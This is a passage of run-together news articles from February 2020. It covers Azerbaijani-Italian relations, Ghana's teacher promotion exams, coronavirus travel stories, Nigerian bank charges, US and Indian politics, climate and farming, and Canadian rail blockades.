noted. The MP believes that the visit by Azerbaijani president to Italy will have a positive impact on strengthening relations between Azerbaijan and the Vatican. Thats because traditions of multiculturalism of the Azerbaijani people, their experience in this area is very important for Europe, which faces serious problems, Mollazade added. I hope that after the visit of President Ilham Aliyev to Italy, our cooperation in this area will expand. On Feb. 19, President Ilham Aliyev paid a state visit to Italy, and on Feb. 20, the head of state held a number of official meetings in Rome. On the same day, after the meeting between Azerbaijani President Ilham Aliyev and President of the Italian Council of Ministers Giuseppe Conte in an expanded format, a ceremony of Azerbaijani-Italian documents exchange was held. The Italy-Azerbaijan Business Forum will be held in Rome Feb. 21. The revised promotion process for staff of the Ghana Education Service (GES) has taken off smoothly in all the 35 examination centres spread across the 16 regions of the country. The first-ever aptitude test for staff promotion replaces the hitherto face-to-face interview sessions that were fraught with multiple challenges. The Director-General of the GES, Prof. Kwasi Opoku-Amankwa, had described the exercise as a very equitable, fair and objective approach in ensuring that staff of the service go through stressless promotion. Visit The director-general, before the start of the exam at the Accra College of Education, wished all the applicants well and encouraged them to do their best. The Deputy Director-General (MS), Mr Anthony Boateng, who monitored the process at Hohoe in the Volta Region at the St Teresa's College of Education and St Francis College of Education centres, was full of praise for the applicants as they conducted themselves well before, during and after the paper. A total of 33,650 staff applied for promotion to various ranks in the service. The first day was for applicants to the rank of assistant director II. Today, February 21, is meant for applicants to the rank of principal superintendent, assistant director I and deputy director. Other national officers of the GES, including the director of Human Resource, joined the regional and district officers to monitor all the centres across the country. A statement by the Public Relations Unit of the GES said management was grateful to all persons who made the maiden examination a huge success, especially union leaders, staff, the Independent Examination Body and principals of the various colleges of education used for the examination. Unions Two teacher unions and some teachers have hailed the decision of the GES to revise its promotion process. The National Association of Graduate Teachers, the Coalition of Concerned Teachers, Ghana and some teachers expressed their satisfaction with the decision to switch from interviewing teachers to the writing of aptitude tests as the method to grade them for promotion. According to the unions and the teachers, aptitude tests were a more reliable way of grading teachers since the use of interviews could be slanted. In separate interviews, they were all unanimous in the view that aptitude tests would eliminate all the biases associated with interviews. Source: Daily Graphic Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ukrainian President Volodymyr Zelensky has promised to extricate a young woman who refused to board an evacuation flight out of virus-hit China without her small dog. Anastasiya Zinchenko, a 22-year-old model, was due to fly out Thursday with a group of 72 Ukrainians and other nationals from the city of Wuhan, the centre of the deadly coronavirus outbreak. But she decided to stay when the Chinese authorities said she could not take her Pomeranian dog Michelle on board because she lacked the necessary papers. "We won't leave you there. I wanted to phone you personally, because for me this is very important," Zelensky said in a phone call to Zinchenko, a recording of which she posted on Instagram. "We will certainly find ways and means. We will find a way to get you back." Ukraine so far has no confirmed cases of the new coronavirus, which has killed more than 2,000 people and infected over 74,000, mostly in China. A group of 45 Ukrainians and 27 citizens of other countries on Thursday arrived in Ukraine on a special flight from Wuhan. As rumours and panic spread, locals blocked roads and threw stones at buses as evacuees were taken to a medical facility in the central Poltava region. Zelensky's spokeswoman confirmed the president had called Zinchenko "to calm her down." Authorities "are working" on finding ways to evacuate the woman and her dog, spokeswoman Yuliya Mendel told AFP. Zinchenko comes from Kherson in southern Ukraine and has been working in China since 2017. She has posted numerous photos of herself cuddling her fluffy white dog, known as Misha for short, on social media. "I will never abandon her or betray her. She is my friend and my family," Zinchenko wrote on Instagram earlier this month. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Central Bank of Nigeria (CBN) said it has recovered over N60 billion excess charges imposed by banks on customers and returned the money to the owners. The amount, the apex bank said, was recovered following complaints by 13,000 customers over excess and illegal charges on their accounts by banks. The CBN Deputy Director, Consumer Protection Department, Chinyere Obilor, disclosed this at a sensitisation forum organised in Owerri, by the apex bank. The Department received over 13,000 complaints from aggrieved members of the banking public and recovered over N60 billion excess bank charges and returned the same to the rightful owners, Vanguard Newspaper quoted Mrs Obilor as saying. She said some of the banks were commensurately sanctioned for the observable unethical practices. She urged the banking public to promptly report any unethical practice by commercial banks to the CBN, for what she called immediate action. READ ALSO: Earlier in his remark, the CBN Director of Corporate Communication, Isaac Okoroafor, said by 2025, no fewer than 10 million jobs would be created in Nigeria, through CBN activities. This will be achieved through 10 commodity models carefully chosen by CBN management. They include cotton, cocoa, maize, dairy, palm oil, fishery, poultry, cattle, tomato, and cassava, Mr.Okoroafor was quoted as saying. He said the CBN will give out high yielding seedlings, fingerlings, and other inputs, to farmers, stressing that the CBN remained committed to the welfare of farmers. As a way of assisting farmers, the CBN will provide anchor companies, who will buy off the products from the farmers immediately after harvest. This will create the best value chain for the farm products, he said. He said plans were in top gear to establish farm settlements, adding that this will be the easiest way of building the nations economy. Mr Okoroafor also said that the Nigerian economy would have collapsed long ago, if not for CBN intervention. The CEO of Californias public pension fund said Representative Jim Banks (R., Ind.) had made baseless accusations about the funds chief investment officer being involved in Chinese espionage but did not deny that Yu Ben Meng had been recruited to the Thousand Talents Program. Marcie Frost, the head of California Public Employees Retirement System (CalPERS), also admitted that her organization the largest public pension fund in the country with approximately $400 billion in global assets had increased its Chinese investments in 2019 after shifts in well-established indexes. CalPERS rebalanced its portfolio in light of these changes accordingly, resulting in the removal of 143 stocks and the addition of 198 stocks. Nearly half of the companies added were Chinese companies because the MSCI and FTSE indices changed to include China A-Shares, she wrote in a Thursday letter to Banks. Banks told National Review that Frosts comments failed to answer two fundamental questions raised in my letter to Governor Newsom, which he sent last week over concerns about Mengs history. Meng emigrated to the U.S. from China to study at the University of California, Davis. He initially worked for CalPERS in 2008, before returning in January 2019 as CIO. From 2015 to 2018, Meng worked as deputy CIO with Chinas State Administration of Foreign Exchange (SAFE), which oversees Chinas U.S. Treasury security holdings. In his letter to Newsom, Banks highlighted a 2017 Chinese article which mentioned Mengs role in Beijings Thousand Talents Program, which provides under-the-table funding to U.S. citizens in exchange for valuable information. First question: Is Mr. Meng a member of the Thousand Talents Program, something the FBI called a non-traditional espionage program? Banks said Friday after Frosts response. Second question: Since Meng came back as Chief Investment Officer of CalPERS, has CalPERS invested in companies that are affiliated with the Chinese Peoples Liberation Army? Story continues The Indiana Republican added that he wanted to hear from Meng over comments he gave to the Chinese communist rag Peoples Daily. In the 2017 article, Meng mentions that his roots were in China, and says that in human life, if there is an opportunity to serve the motherland, such responsibility and honor cannot be compared to anything. More from National Review (Reuters) - T- Mobile US and Sprint Corp are nearing an agreement on new merger terms, The Wall Street Journal reported on Thursday. The final deal could be announced as soon as Thursday and T-Mobile's parent company Deutsche Telekom will own 43% of the combined company, up from 42% earlier, the report https://www.wsj.com/articles/sprint-t-mobile-near-agreement-on-new-merger-terms-11582230987?mod=searchresults&page=1&pos=1 added. T- Mobile US did not immediately respond to a Reuters request for comment, while Sprint declined to comment. (Reuters) - T- Mobile US and Sprint Corp are nearing an agreement on new merger terms, The Wall Street Journal reported on Thursday. The final deal could be announced as soon as Thursday and T-Mobile's parent company Deutsche Telekom will own 43% of the combined company, up from 42% earlier, the report https://www.wsj.com/articles/sprint-t-mobile-near-agreement-on-new-merger-terms-11582230987?mod=searchresults&page=1&pos=1 added. T- Mobile US did not immediately respond to a Reuters request for comment, while Sprint declined to comment. (Reporting by Neha Malara in Bengaluru; Editing by Shailesh Kuber) This story has not been edited by Firstpost staff and is generated by auto-feed. By Colin Packham SYDNEY (Reuters) - One of Australia's leading universities said on Friday it is offering Chinese students A$1,500 ($992) if they travel through a third country as higher education providers seek to minimise the impact of a ban on foreigners arriving from mainland China. Australia has since Feb. 1 barred entry to foreigners arriving directly from mainland China, citing a need to stop the spread of the flu-like virus that emerged in China late last year. The ban was extended on Thursday until at least Feb. 29. With the Australian academic year already underway, universities fear thousands of students will withdraw and look at international alternatives if they are unable to get to their classes within weeks. Australia's government has said that as long as the students are outside China for 14 days, they would be permitted to enter the country. Western Sydney University said it will offer Chinese students a one-off payment if they fulfil those requirements. "Our students are keen to travel to Australia and start the new academic year as soon as possible," said a Western Sydney University spokeswoman in an emailed statement. "In recognition of the additional costs incurred in travelling via another country, the University has offered to assist students with a one-off A$1,500 subsidy payment." Foreign students are worth about A$35 billion a year to the Australian economy, with Chinese students accounting for about a third of that figure. Australia's largest eight universities, which have 105,000 Chinese students between them, said last week the coronavirus travel ban would cost the economy more than A$1 billion, and put at risk 7,500 jobs for each 10% fall in Chinese students. Qantas Airways chief executive Alan Joyce said on Thursday it has been approached by Australian universities to ensure it can provide enough flights for returning Chinese students once restrictions are lifted. Story continues With the restrictions weighing on the Australian economy, Prime Minister Scott Morrison is under pressure to ease the restrictions. Local media on Friday reported the government had discussed allowing some Chinese students from outside Wuhan to enter. A spokesman for Morrison declined to comment. The prime minister on Friday said his government was working on easing the burden but it would not be through direct funding to universities. "We are working on some projects with the education sector... but lets not forget our universities are well capitalised," Morrison told reporters. (Reporting by Colin Packham; Editing by Lincoln Feast.) New Delhi, Feb 21 : A day after pro-Pakistan slogans were alleged raised at Asaduddin Owaisi's anti-CAA rally in Bengaluru and his party member Waris Pathan made communal statements, BJP called the AIMIM chief the "leader" of the nationwide protests against the contentious Citizenship Amendment Act. "Today we have brought an example of the kind of hate politics that some people are doing in the whole country in protest against CAA. If there's any so-called leader of these protests that are happening in the country, then it is Asaduddin Owaisi and the AIMIM party," alleged BJP spokesperson Sambit Patra. He added that slogans of "Pakistan Zindabad" were raised on Thursday from a platform where Owaisi was present. "When the same is taught backstage, sometimes reality comes out ahead of the stage as well. When they talk of giving oxygen to Pakistan behind the stage and drama of upholding the Constitution and the tricolour on the stage are enacted, then often the reality comes out of the mouth," charged Patra. On Thursday a young woman was seen seemingly chanting pro-Pakistan slogans following which the AIMIM leader tried to stop her. The incident took place at an anti-CAA event in Bengaluru. Soon, Patra trained his guns on another target - AIMIM member Waris Pathan who created a storm with his communal rant on Thursday. "Owaisi's senior party leader Waris Pathan says that they will snatch away independence. I want to ask these so-called liberals, what independence and from whom?," asked the BJP leader. In a no-holds-barred attack on the supposed silence from civil society, Patra alleged, "Owaisi's party has said that 15 crore will overshadow 100 crore. If a BJP leader had made such a statement, today all the so-called liberals would have hit the road, creating chaos in the whole country. But not a single one is coming up today, not a single question is being asked." Earlier on Thursday in Bengaluru, Pathan can be heard purportedly saying, "We have to move together. We have to take Azadi (freedom), things that we don't get by asking, we have to take it by force, remember it." "Now time has come, we are told that we have sent our mothers and sisters in the front and were sitting covered in blankets... Only our lionesses have come out till now and you are already sweating. Understand what will happen if we come together. (We may be) 15 crore, but are heavy on 100 (crore), remember it," Pathan is heard saying. On Friday, Patra hit back at this blatant communalisation. Hitting out at anti-CAA protesters across India, Patra alleged, "All these people have the Constitution in their hands and Waris Pathan in their hearts, it has been hence proved." Nationwide protests broke out after the government amended the Citizenship Act. Many in the Muslim community have alleged that it is discriminatory towards them. Getty Representative Ilhan Omar has accused The View's Meghan McCain of hypocrisy for her opinions about Bernie Sanders supporters and their online attacks given her own social media behaviour. "The same people who chastise the progressive movement regularly traffic in anti-Muslim smears and hate speech against me and those I represent," the freshman representative wrote in a tweet Thursday. "It's almost as if they don't genuinely care about online harassment," she added. Ms Omar has previously accused the co-host and other conservatives of spreading anti-Muslim propoganda about her on social media. Included with Ms Omar's tweet was two screengrabs of tweets the co-host recently posted. In the first tweet, Ms McCain attacked Mr Sanders for his supporters' behaviour online, specifically towards women. "Bernie your army of Bernie bro's are the worst in all of the internet and every woman on both sides knows it. Mysoginistic, abusive and inspired by you," she wrote. "There's no army of Pete bots or Biden bots abusing women!" Ilhan Omar has accused The View's Meghan McCain of hypocrisy towards online bullying (Getty) The second screengrab showed Ms McCain retweeting a news story with an unconfirmed claim that the representative married her brother to get him US citizenship. "How is this not a bigger deal?" Ms McCain wrote in a since-deleted tweet. She was slammed by Ms Omar for being "desperate" to discredit her and her political platform by spreading false claims. The same people who chastise the progressive movement regularly traffic in anti-Muslim smears and hate speech against me and those I represent. Its almost as if they don't genuinely care about online harassment. pic.twitter.com/jZKgYvjDl6 Ilhan Omar (@IlhanMN) February 20, 2020 "Paying people to generate fake new stories in order to delegitimize me and those I represent isn't a good look," Ms Omar wrote. "Desperation is a sad mobilizing tool." Story continues The two women clashed last year after Ms McCain brought up the representative's rhetoric onlihne, saying it was anti-semetic. I do think when we are having conversations about anti-Semitism we should be looking at the most extreme on both sides, and I would bring up Congresswoman Ilhan Omar and some of her comments that got so much attention, McCain told ABC News' George Stephanopoulos after a deadly shooting at a synagogue in California. Ms Omar, who apologized for the tweets that were viewed as anti-semetic, responded to a video showing Ms McCain's interview. She wrote: "Oh, bless her heart." Read more Republican challenger to Ilhan Omar has a warrant for her arrest Jeff Bezos knows what Trump would do with his money Twitter could label lies by politicians with bright orange labels State and federal prosecutors have warned more than 40 former clients of lawyer-turned-police informer Nicola Gobbo their criminal convictions could have been tainted. It comes as the royal commission investigating Ms Gobbo's duplicitous role as Informer 3838 revealed it had compiled a master list of 1297 people whose cases could have been impacted bt the supergrass. The people on the master list were either advised or represented by Ms Gobbo when she was a barrister and police informer, but the commission is yet to ascertain if their cases have been affected. Nicola Gobbo. Credit:ABC The revelation came on the last day of public hearings probing Ms Gobbo's role. The inquiry has held 127 public hearings, hearing from 81 witnesses, received another 120 statements and produced more than 145,000 documents, mostly from Victoria Police. DAYTON, Ohio In 2019, the United States racked up $14 billion dollars in weather-related disasters, according to Aaron Wilson, atmospheric scientist with Ohio State. These disasters ranged from wildfires in California, to hailstorms in Texas and Colorado, to tornadoes and hurricanes, to flooding and severe weather in areas including the Midwest. With scientists suggesting that 2019s weather could be the new normal, the Ohio Ecological Food and Farming Association decided to center its annual conference Feb. 13-15 around climate change. Weather and climate are not exactly the same thing. Wilson compares weather to a dog on a leash, and climate to the dog walker. The dog can roam up and down, but it still moves in the same overall direction that the dog walker is steadily traveling in. Climate, however, affects the weather that we experience, both in terms of extreme events, and day-to-day, gradual changes. Laura Lengnick, a soil scientist who contributed to the third National Climate Assessment report, and one of the keynote speakers for the conference, advised farmers and land owners in a workshop Feb. 14 to view climate change as a new situation to deal with. Think about it as a risk that is something you can manage on your land, she said. While farmers who have already bought land cant control how much it rains around them, they can work to improve their resilience to new conditions. Resilience, Lengnick said in her keynote address, is about more than bouncing back from difficult events. Its about responding, recovering and changing. Resources Lengnick said farmers can begin to address climate concerns by looking at how their area has been affected over the years. Then, farmers can start building resources in several areas. Youre not going to get a silver bullet from me today. Theres not one thing you can do, Lengnick said. To deal with some disasters, farmers may need access to insurance or money to repair damage or minimize losses. For other problems, having solid infrastructure or healthy soil may prevent some damage or help the land recover. In a Feb. 13 workshop, Alan Sundermeier, of Ohio State Extension, noted that floods have consequences for soil, but there are things farmers can do to help their soil handle those extreme conditions. Using cover crops, so that soil always has roots and some cover, and minimizing disturbances, by limiting or eliminating tillage, can help protect soil. But farmers should also keep track of their soil health, measuring things like the soils organic matter, to make sure their practices are working, Sundermeier said. We want to have some kind of measurements to know that if were doing the same things over and over again, are we improving what were doing or not? Sundermeier said. Change Farmers also need to adjust their operations to address new conditions, recognizing when something is no longer working for the conditions they face. This includes infrastructure and management practices. [Resilience thinking] makes no assumptions that the climate will be stable, Lengnick said. She called the idea of transforming to face challenges a bounce forward rather than a bounce back. I think the bounce forward idea gives us a lot of power to shape our future, she said. We know that were going to have damage, and at that point, were going to have to recover. We choose every time we have to recover whether were going to choose a bounce back to 20th century standards or a bounce forward to 21st century standards. Human Farmers can also improve their own abilities to deal with change and stress, and build social networks to help them deal with these challenges, Lengnick said. I cant say enough about this ability to cope with loss and with change the people are important in all of this, Lengnick said. Making plans Lengnick also said that having an extreme events plan to deal with major crop losses and damage is important. While some of the changes are more subtle warmer winters and nights, for example the changing climate also brings a higher risk of extreme events, as Wilson noted. As Ohio sees more extreme rainfall events, with about 45 events with at least one inch of rainfall in the five-year period from 2010-2014, Wilson said the area is under a persistent flood risk. Extreme rainfall has environmental implications. For example, it can increase nutrient runoff into Lake Erie, which can contribute to harmful algal blooms. One area in Darke County got 5.5 inches of rain in two hours in 2017, flooding highways. Wilson said our infrastructure is largely not built for this kind of rain, and in these extreme cases, its hard for farmers to prevent runoff. How do we do that? This is part of the conversation that I think actually needs more attention than just pointing fingers and blame back and forth between urban and rural areas, Wilson said. We all have a part in this, but climate is making it harder. Crops Crops are heavily affected by changing weather and climate, Rafiq Islam, an Ohio State soil and bioenergy program leader, said in a Feb. 13 workshop. Weather and climate cause 96% of crop failure. In addition, the grain belt is shifting north, allowing Canadian farmers to start producing corn, Islam said, whereas 25 years ago, there was almost no corn grown in Canada. Wilson said by the end of the century, Ohios climate may be closer to Arkansas in the summer and the Carolinas in the winter. So are we growing the things that were going to be growing in 30, 40, 60, 80 years? Wilson asked. Future The climate and weather predictions start to get scary by the end of the 21st century, Wilson said, but its hard to know exactly what will happen. Forecasting weather is very difficult. Forecasting human behavior is more difficult All of these are dependent on decisions we make, and if were not having conversations, we cant make decisions, Wilson said. We really need to give up the idea that we can create optimal conditions and that we would plan a business based on the assumption that we can create optimal conditions, Lengnick said. Because climate change affects different regions in different ways, regional resources, place-based knowledge and regional relationships can be useful in addition to expert knowledge. To adjust to variable conditions, Lengnick suggested that farmers can focus on ecological designs and robust systems. It turns out that nature is incredibly resilient, she said. A teenager has unknowingly sparked sales of 100,000 serums after posting about her results using an $14 beauty product on TikTok. Kaelyn White caused a flurry of excitement over The Ordinary's AHA 30% + BHA 2% Peeling Solution, when she showcased images of her spot-ridden skin and how it cleared up considerably using the exfoliating facial. The young woman from the US uploaded footage of herself applying the blood-like serum in early February to the video-sharing platform TikTok with the caption 'how I got my clear skin'. To date the video has been watched 3.5million times, and encouraged thousands of people to try it out for themselves. Scroll down for video Kaelyn White caused a flurry of excitement over The Ordinary's AHA 30% + BHA 2% Peeling Solution when she showcased images of her spot-ridden skin and how they cleared up using the exfoliating facial The young woman uploaded footage of herself applying the blood-like serum to video-sharing platform TikTok with the caption 'how I got my clear skin' In the month since Kaelyn's post went live The Ordinary, which is available in Priceline stores across Australia, sold 100,000 bottles, which works out to be a $1.1million profit. 'Gen Z are really showcasing their buying power,' a spokesperson for the brand told FEMAIL. 'Not only does it brighten the skin and assist with anti-aging, but the weekly peel also helps to remove dead skin and smooth your complexion. 'The red colour may not be for the faint-hearted, but what we do know is that with 1,000 near-perfect reviews on Sephora and 100,000 units flying off shelves, we're ready for Gen Z to let us in on even more of their skincare secrets.' In the month since Kaelyn's post went live The Ordinary, which is available in Priceline stores across Australia, sold 100,000 bottles, which works out to be a $1.1million profit Kaelyn said she uses the 10-minute facial once or twice a week and saw results on her skin after just two weeks How do you use the serum? 1) Patch test! 2) Don't use them with other direct acids, retinoids or pure Vitamin C 3) Make sure you're avoiding unprotected solar exposure always and using acids in the evenings only ideally 4) Don't apply acids to peeling, compromised, sensitive or broken skin and 5) Follow the directions on the packaging/website. Advertisement Kaelyn said she uses the 10-minute facial once or twice a week and saw results on her skin after just two weeks. She said the product 'slightly stings' as you apply it, but the way that it diminished her acne and scarring made it worth the sensation. Sadly the Canadian brand is difficult for Aussies to purchase because of our Therapeutic Goods Administration (TGA) standards. It's classed as a pharmaceutical-grade item and only permitted to be used by medical professionals. Deciem, the company that owns The Ordinary, has shared cautionary warnings for those not used to applying direct acids to their skin. Sadly the Canadian brand is difficult for Aussies to purchase because of our Therapeutic Goods Administration (TGA) standards 'Due to the high concentration of free acids, we would not recommend using this formula on sensitive, compromised or peeling skin,' Deciem said. The brand recommends Australians try its Lactic Acid 10% + HA and the Salicylic Acid 2% Masque as alternatives, because they slough away dead skin without the harsher chemicals. Wednesday nights Democratic presidential debate in Las Vegas was the best clash of the 2020 campaign. Six candidates went at it, driven by urgency, calculation, and sometimes animus. At the center was former New York City Mayor Michael Bloomberg, appearing in his first presidential debate. In a campaign often framed around electability and the left-center divide, Bloombergs arrival has shaken up the race, forcing some candidates to change their strategies. Heres how Bloombergs presence changes things, as reflected in the debate. Advertisement 1. We have a real centrist. Up to this point, when progressives referred to centrist candidates, they meant former Vice President Joe Biden, former South Bend Mayor Pete Buttigieg, and Sen. Amy Klobuchar. Now were seeing the real thing: Bloomberg. In the debate, he defended fracking and multibillion-dollar fortunes. While saying he regrets stop and frisk, he pointed out that aggressive policing and prosecution were adopted in an era of high crime, which could return. These arguments reflect a point of view that until now was beyond the right edge of the Democratic field. Advertisement Advertisement Advertisement Unlike Biden, Buttigieg, and Klobuchar, Bloomberg doesnt defend capitalism meekly or fret about socialism just as an electability concern. Hes a former Republican, and he attacks socialism the way a Republican would. After listening to an onstage discussion of whether companies should be required to surrender partial ownership to their workers, Bloomberg pronounced the conversation ridiculous. Were not going to throw out capitalism, he said. Other countries tried that. It was called communism, and it just didnt work. Later, Bloomberg hit Sen. Bernie Sanders with the kind of punch youd expect from the Republican National Committee: The best-known socialist in the country happens to be a millionaire with three houses. Bloomberg isnt just a centrist in the Democratic field. Hes a centrist in the general. Advertisement Advertisement 2. The populists have a foil. Tom Steyer, a low-grade billionaire, has been in the race all along. But hes an orthodox progressive, and despite his pricey ad buys, he hasnt been much of a factor. Instead of going after him, Sanders and Sen. Elizabeth Warren have attacked Buttigieg for taking campaign money from billionaires. Now, in Bloomberg, they have a more obvious target. Warren, in her opening remarks of the debate, said Democrats shouldnt substitute one arrogant billionaire for another. Sanders, in his closing statement, warned against an oligarchy controlled by billionaires. Advertisement As an adversary, Bloomberg also gives Sanders an opportunity to appeal to Democratic unity. Sanders has never run for Congress as a Democrat. He has always declared himself an independent, and he has criticized Biden and other candidates for not being progressive enough. That can make Sanders look extreme. But in this debate, Sanders embraced Biden as a comrade in arms against Bloomberg. Mayor Bloomberg in 2004 supported George W. Bush for president, said Sanders. He put money into Republican candidates for the United States Senate when some of usJoe and I and otherswere fighting for Democrats to control the United States Senate. Advertisement Advertisement Advertisement 3. Biden is using his Obama cred from the left. Bloombergs entry helps Biden in the same way it helps Sanders, but from the other direction. Until now, Biden had to defend President Barack Obamas moderate recordon immigration, for exampleagainst criticism from more progressive candidates. Now Biden can remind Democrats that he and Obama had to fight Bloomberg and other Republicans. In the debate, Biden lambasted Bloomberg for calling Obamacare a disgrace and for resisting the efforts of our administration, President Obama, to halt New Yorks stop-and-frisk policy. Later, in an MSNBC interview, Biden said the debate showed Bloomberg was basically Republican. He didnt support Obama. He didnt support the Affordable Care Act. He didnt support the vast majority of what we tried to do, including on Wall Street. Advertisement Advertisement Advertisement Advertisement 4. Warren has a platform to talk about sexism. Lately, in a campaign dominated by Sanders, Warren has been overlooked. Bloombergs allegedly callous behavior toward women gives her a chance to stand out. Her first words in the debate were, So Id like to talk about who were running against: a billionaire who calls women fat broads and horse-faced lesbians. She challenged Bloomberg to release former female employees from nondisclosure agreements. Afterward, in a CNN interview, she warned, If he wont let these women talk, then you have to assume this is a man who not once, not twice, but repeatedly, repeatedly engaged in harassment, engaged in discrimination. Warren is using this issue to target two audiences. The first is people who care about mistreatment of women. The second is Democrats who worry about choosing an electable nominee. This is also a question about electability, she argued in the debate. We are not going to beat Donald Trump with a man who has who-knows-how-many nondisclosure agreements and the drip, drip, drip of stories of women saying they have been harassed and discriminated against. Warren is also seizing the opportunity to show that shes a fighter, rather than just calling herself one. Advertisement Advertisement Advertisement 5. Buttigieg is recasting himself as the real Democrat. Buttigieg fought his way into the top tier by attacking Warren and Sanders from the right on health care and free college. He also advertised his appeal to future former Republicans. Now hes portraying Sanders as a fake Democrat to his left and Bloomberg as a fake Democrat to his right. In the debate, Buttigieg chastised Bloomberg for criticizing Obama and for opposing a higher minimum wage. In a post-debate interview on CNN, Buttigieg said Bloomberg was out of touch with our party on wealth inequality. Buttigieg noted that he, Sanders, and Bloomberg have each been mayors. But Im the only one of the three of us whos been a Democratic mayor. Advertisement After months of being pummeled for accepting campaign money from billionaires, Buttigieg is now running as an ordinary guy competing against a billionaire. In the debate, he accused Bloomberg of trying to buy this party out. In lieu of his usual attacks on Washington, Buttigieg denounced both Wall Street and Washington. He positioned himself as the sensible alternative to a socialist who thinks that capitalism is the root of all evil and a billionaire who thinks that money ought to be the root of all power. Advertisement Advertisement Not every candidate has adjusted to Bloomberg. At the start of the debate, Klobuchar complained about a Bloomberg campaign memo that said she, Biden, and Buttigieg should get out of the race. Then, perversely, she and Buttigieg spent much of the evening ripping into one another. Each time, Klobuchar escalated the exchange. Are you trying to say that Im dumb? she asked. Are you mocking me here, Pete? Later, she snarked, I wish everyone was as perfect as you, Pete. Instead of capitalizing on Bloombergs presence and his weak performance, she helped him by ratcheting up the war among his opponents. To clear the field for a one-on-one fight against Sanders, Bloomberg doesnt need to persuade the moderate candidates to drop out. He just needs them to destroy each other. The sacked deputy governor-elect of Bayelsa State, Biobarakuma Degi-Eremienyo, has said he did not forge any of his certificates. He said the justices of the Supreme Court assaulted his reputation with the ruling, Punch Newspaper reports. The Supreme Court, last Thursday, sacked David Lyon of the All Progressives Congress (APC) as governor-elect of Bayelsa State, barely 24 hours to his inauguration. Mr Degi-Eremienyo was his running mate. Mr Lyons election was nullified on the grounds that his deputy presented false information to the Independent National Electoral Commission (INEC) in aid of his qualification for the November 16 governorship election in the state. The apex court in the judgement delivered by Justice Ejembi Eko consequently ordered INEC to withdraw the certificate of return issued to Messrs Lyon and Degi-Eremienyo. The court also ordered INEC to declare the party with the highest number of lawful votes and geographical spread the winner of the election. Douye Diri and Lawrence Ewhrujakpor of the Peoples Democratic Party (PDP) have since been declared winners of the election and sworn in as governor and deputy respectively. Prior to their swearing-in, they were senators representing Bayelsa Central and Bayelsa West respectively. Speaking with journalists in Abuja on Thursday, Mr Degi-Eremienyo lamented that the apex court judgement had left him greatly traumatised and in distress. He asked the police to vet his credentials. Let me state that some of my primary school teachers are still alive: Chief Eredogiyo Watson, Chief Allen Obebe-Orukari and Susan Otiotio. Let me also state in clear and graphic terms that I attended two secondary schools. First, Nyemoni Grammar School, Abonnema, Rivers State where some of my classmates were Harrison Braide, Tombo Douglas, Ferdinand Amabebe, Professor Owunari Georgewill, Justice Biobele Georgewill, Chief David Briggs and Alpheus Otta and some of my teachers were Mr Wamarte and Mrs Humbly, Mr Frank etc. All my academic certificates are in the public domain. Whether they are genuine or forged are verifiable matters, he explained. If the certificates exist and have not been altered in any manner, it would mean they are genuine, he said. The next enquiry would then be if the names appearing thereon belong to me or belong to some other persons. If no other persons can be found who claim the names in the certificates then they are mine. Judges including justices of the Supreme Court are free to request law enforcement agencies to investigate persons who appear before them as to the commission or otherwise of crimes. The embattled ex-deputy governor further said all the educational qualifications he presented to the INEC to aid his constitutional qualification were acquired by him personally from institutions Nigeria which are still in existence till date. The records are verifiable anytime and any day here in Nigeria, he added. The APC on Thursday, filed a suit asking the Supreme Court to review and reverse the judgement. Describing the judgement as wrong, the party argued that the Supreme Court, in its judgment, misinterpreted the November 12, 2019 judgment of the Federal High Court in Abuja which the apex court affirmed. The blockade crisis is reshaping Indigenous politics in Canada. It has brought to the fore long-simmering tensions within First Nations, between those who support elected councils and chiefs and those who favour traditional hereditary leaders. In doing so, it has called into question the legitimacy of mainstream organizations, such as the Assembly of First Nations, which is made up of elected chiefs, to speak for Indigenous people. One Quebec elected chief who dared to call for an end to the blockades this week was quickly forced by his own constituents to recant. As the rail blockages in support of the Wetsuweten hereditary chiefs take their toll on workers and communities across the country, the crisis also threatens to eat into the consensus among non-Indigenous Canadians that reconciliation with First Nations is a worthwhile goal. Simply put, its easy to support Indigenous rights in the abstract. Its harder when such support comes at a cost. The federal Conservatives understand this. Thats why party leader Andrew Scheer has chosen to refer to protestors in such harsh terms. His contention that shadowy, foreign, climate radicals are secretly directing the blockades is patently absurd. The Tyendinaga Mohawks blocking the CN mainline near Belleville may be wrong-headed. But they are not, as the Conservatives would have it, catspaws of American billionaire environmentalists, such as George Soros. Painting them as such, however, allows Scheer to denounce Indigenous protestors without taking the politically incorrect move of doing so directly. The third area where native politics has changed is the relationship of Indigenous people to the courts. In recent decades, no organization has been a greater friend to Indigenous rights than the Supreme Court of Canada. At a time when governments, both federal and provincial, were loath to act, the top court delivered landmark decisions that expanded Aboriginal rights greatly. One of those decisions, the 1997 Delgamuukw case, dealt directly with a claim by Wetsuweten hereditary chiefs for jurisdiction over a big chunk of unceded land in northern British Columbia. While not ruling on the specifics of the case (the court said a new trial which has never been held would be necessary to do that) the justices indicated that the Wetsuweten nation did indeed hold Aboriginal title over a undefined portion of this land. However, the court said this Aboriginal title did not confer exclusive jurisdiction. In particular, it said, federal and provincial governments retained the right to overrule Aboriginal title for valid reasons of economic development. The court did not address the question of whether Aboriginal title would rest with the hereditary chiefs or elected band councils. Still, in 1997, this was viewed as a bold ruling. Todays Wetsuweten hereditary chiefs seem less impressed. They insist they alone have full and complete jurisdiction over most of what their nation claims are its lands no matter what the top court says. They also insist they have the right to physically block construction of a natural gas pipeline running through these lands, regardless of the fact that it has been approved by both the B.C. government and most elected Wetsuweten band councils. It is this pipeline that is at the heart of the current crisis. As I write this, the federal government has come up with a Hail Mary. Theoretically at least, the RCMP will continue to enforce an injunction against those who would block the B.C. pipeline. But as long as no one interferes with pipeline construction, it will base its officers outside Wetsuweten territory. In the old days of Indigenous politics, this might have been enough to defuse such a crisis. Now Im not so sure. Thomas Walkom is a Toronto-based freelance contributing columnist for the Star. Reach him via email: is a Toronto-based freelance contributing columnist for the Star. Reach him via email: walkomtom@gmail.com Read more about: Bhutan, today, is busy celebrating the birthday of their king His Majesty Jigme Khesar Namgyel Wangchuck. Many people, including dignitaries, have come together at Changlimithang stadium in Thimphu to wish the King and celebrate the day. Expectedly, several content related to the celebrations are also making their appearances on social media. Amid this, a tweet has captured peoples attention. It says that Bhutans Prime Minister Dr Lotay Tshering has asked each family to do a very particular thing to celebrate the Kings birthday - adopt a stray dog. Shared by Bhutanese journalist Namgay Zam, the tweet explained 